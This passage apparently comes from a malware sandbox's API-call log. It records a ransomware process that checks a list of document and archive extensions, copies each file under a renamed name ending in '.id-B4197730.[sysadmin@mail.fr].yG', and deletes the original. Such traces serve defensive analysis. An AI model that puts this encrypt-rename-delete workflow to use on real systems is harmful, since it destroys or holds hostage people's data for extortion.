	[0042.656] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0042.656] lstrlenW (lpString=".ppt") returned 4
	[0042.656] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.656] lstrlenW (lpString=".zip") returned 4
	[0042.656] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.656] lstrlenW (lpString=".rar") returned 4
	[0042.656] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.656] lstrlenW (lpString=".bz2") returned 4
	[0042.656] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.656] lstrlenW (lpString=".7z") returned 3
	[0042.656] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.656] lstrlenW (lpString=".dbf") returned 4
	[0042.656] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.656] lstrlenW (lpString=".1cd") returned 4
	[0042.656] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.656] lstrlenW (lpString=".jpg") returned 4
	[0042.656] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.656] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.656] lstrlenW (lpString="Print.ico") returned 9
	[0042.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.741] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1150) returned 1
	[0042.741] CloseHandle (hObject=0x2e0) returned 1
	[0042.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80
	[0042.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.742] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.742] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.742] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.742] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.742] GetLastError () returned 0x0
	[0042.742] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0042.817] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x480, lpOverlapped=0x0) returned 1
	[0042.818] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.818] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0042.818] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.818] CloseHandle (hObject=0x2fc) returned 1
	[0042.818] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.819] SetEndOfFile (hFile=0x2e0) returned 1
	[0042.819] CloseHandle (hObject=0x2e0) returned 1
	[0042.819] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.820] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1
	[0042.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.820] lstrlenW (lpString=".doc") returned 4
	[0042.820] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.820] lstrlenW (lpString=".docx") returned 5
	[0042.820] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0042.820] lstrlenW (lpString=".pdf") returned 4
	[0042.820] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.820] lstrlenW (lpString=".xls") returned 4
	[0042.820] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.820] lstrlenW (lpString=".xlsx") returned 5
	[0042.820] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0042.820] lstrlenW (lpString=".ppt") returned 4
	[0042.820] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.820] lstrlenW (lpString=".zip") returned 4
	[0042.820] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.820] lstrlenW (lpString=".rar") returned 4
	[0042.820] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.820] lstrlenW (lpString=".bz2") returned 4
	[0042.820] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.820] lstrlenW (lpString=".7z") returned 3
	[0042.820] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.820] lstrlenW (lpString=".dbf") returned 4
	[0042.820] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.820] lstrlenW (lpString=".1cd") returned 4
	[0042.820] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.821] lstrlenW (lpString=".jpg") returned 4
	[0042.821] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.821] lstrlenW (lpString=".doc") returned 4
	[0042.821] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.821] lstrlenW (lpString=".docx") returned 5
	[0042.821] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0042.821] lstrlenW (lpString=".pdf") returned 4
	[0042.821] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.821] lstrlenW (lpString=".xls") returned 4
	[0042.821] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.821] lstrlenW (lpString=".xlsx") returned 5
	[0042.821] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0042.821] lstrlenW (lpString=".ppt") returned 4
	[0042.821] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.821] lstrlenW (lpString=".zip") returned 4
	[0042.821] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.821] lstrlenW (lpString=".rar") returned 4
	[0042.821] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.821] lstrlenW (lpString=".bz2") returned 4
	[0042.821] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.821] lstrlenW (lpString=".7z") returned 3
	[0042.821] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.821] lstrlenW (lpString=".dbf") returned 4
	[0042.821] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.821] lstrlenW (lpString=".1cd") returned 4
	[0042.821] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0042.821] lstrlenW (lpString=".jpg") returned 4
	[0042.821] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.822] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.822] lstrlenW (lpString="Rotate7.ico") returned 11
	[0042.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.822] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1
	[0042.822] CloseHandle (hObject=0x2e0) returned 1
	[0042.822] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80
	[0042.822] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.822] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.822] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.822] GetLastError () returned 0x0
	[0042.823] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.863] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.864] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.864] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.864] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.864] CloseHandle (hObject=0x2fc) returned 1
	[0042.865] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.865] SetEndOfFile (hFile=0x2e0) returned 1
	[0042.866] CloseHandle (hObject=0x2e0) returned 1
	[0042.866] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.866] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1
	[0042.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.866] lstrlenW (lpString=".doc") returned 4
	[0042.866] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.866] lstrlenW (lpString=".docx") returned 5
	[0042.866] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0042.866] lstrlenW (lpString=".pdf") returned 4
	[0042.866] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.866] lstrlenW (lpString=".xls") returned 4
	[0042.866] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.866] lstrlenW (lpString=".xlsx") returned 5
	[0042.866] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0042.866] lstrlenW (lpString=".ppt") returned 4
	[0042.866] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.867] lstrlenW (lpString=".zip") returned 4
	[0042.867] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString=".rar") returned 4
	[0042.867] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString=".bz2") returned 4
	[0042.867] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.867] lstrlenW (lpString=".7z") returned 3
	[0042.867] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.867] lstrlenW (lpString=".dbf") returned 4
	[0042.867] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.867] lstrlenW (lpString=".1cd") returned 4
	[0042.867] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.867] lstrlenW (lpString=".jpg") returned 4
	[0042.867] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.867] lstrlenW (lpString=".doc") returned 4
	[0042.867] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.867] lstrlenW (lpString=".docx") returned 5
	[0042.867] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0042.867] lstrlenW (lpString=".pdf") returned 4
	[0042.867] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString=".xls") returned 4
	[0042.867] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString=".xlsx") returned 5
	[0042.867] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0042.867] lstrlenW (lpString=".ppt") returned 4
	[0042.867] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.867] lstrlenW (lpString=".zip") returned 4
	[0042.867] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.867] lstrlenW (lpString=".rar") returned 4
	[0042.867] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.868] lstrlenW (lpString=".bz2") returned 4
	[0042.868] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.868] lstrlenW (lpString=".7z") returned 3
	[0042.868] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.868] lstrlenW (lpString=".dbf") returned 4
	[0042.868] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.868] lstrlenW (lpString=".1cd") returned 4
	[0042.868] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0042.868] lstrlenW (lpString=".jpg") returned 4
	[0042.868] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.868] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.868] lstrlenW (lpString="Setup.ico") returned 9
	[0042.868] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.868] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=36710) returned 1
	[0042.868] CloseHandle (hObject=0x2e0) returned 1
	[0042.868] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80
	[0042.868] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.868] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.869] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.869] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0042.874] GetLastError () returned 0x0
	[0042.874] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x8f66, lpOverlapped=0x0) returned 1
	[0042.948] WriteFile (in: hFile=0x300, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x8f70, lpOverlapped=0x0) returned 1
	[0042.951] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.951] WriteFile (in: hFile=0x300, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0042.952] SetEndOfFile (hFile=0x300) returned 1
	[0042.952] CloseHandle (hObject=0x300) returned 1
	[0042.953] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.953] SetEndOfFile (hFile=0x2e0) returned 1
	[0042.954] CloseHandle (hObject=0x2e0) returned 1
	[0042.954] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.954] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1
	[0042.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.954] lstrlenW (lpString=".doc") returned 4
	[0042.954] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.954] lstrlenW (lpString=".docx") returned 5
	[0042.955] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0042.955] lstrlenW (lpString=".pdf") returned 4
	[0042.955] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.955] lstrlenW (lpString=".xls") returned 4
	[0042.955] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.955] lstrlenW (lpString=".xlsx") returned 5
	[0042.955] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0042.955] lstrlenW (lpString=".ppt") returned 4
	[0042.955] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.955] lstrlenW (lpString=".zip") returned 4
	[0042.955] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.955] lstrlenW (lpString=".rar") returned 4
	[0042.955] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.955] lstrlenW (lpString=".bz2") returned 4
	[0042.955] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.955] lstrlenW (lpString=".7z") returned 3
	[0042.955] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.955] lstrlenW (lpString=".dbf") returned 4
	[0042.955] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.955] lstrlenW (lpString=".1cd") returned 4
	[0042.955] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.955] lstrlenW (lpString=".jpg") returned 4
	[0042.955] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.955] lstrlenW (lpString=".doc") returned 4
	[0042.955] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.955] lstrlenW (lpString=".docx") returned 5
	[0042.955] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0042.955] lstrlenW (lpString=".pdf") returned 4
	[0042.955] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.955] lstrlenW (lpString=".xls") returned 4
	[0042.955] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.956] lstrlenW (lpString=".xlsx") returned 5
	[0042.956] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0042.956] lstrlenW (lpString=".ppt") returned 4
	[0042.956] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.956] lstrlenW (lpString=".zip") returned 4
	[0042.956] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.956] lstrlenW (lpString=".rar") returned 4
	[0042.956] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.956] lstrlenW (lpString=".bz2") returned 4
	[0042.956] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.956] lstrlenW (lpString=".7z") returned 3
	[0042.956] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.956] lstrlenW (lpString=".dbf") returned 4
	[0042.956] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.956] lstrlenW (lpString=".1cd") returned 4
	[0042.956] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0042.956] lstrlenW (lpString=".jpg") returned 4
	[0042.956] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.956] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0042.956] lstrlenW (lpString="netfx_Core_x64.msi") returned 18
	[0042.956] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.046] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1901056) returned 1
	[0043.046] CloseHandle (hObject=0x34c) returned 1
	[0043.046] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80
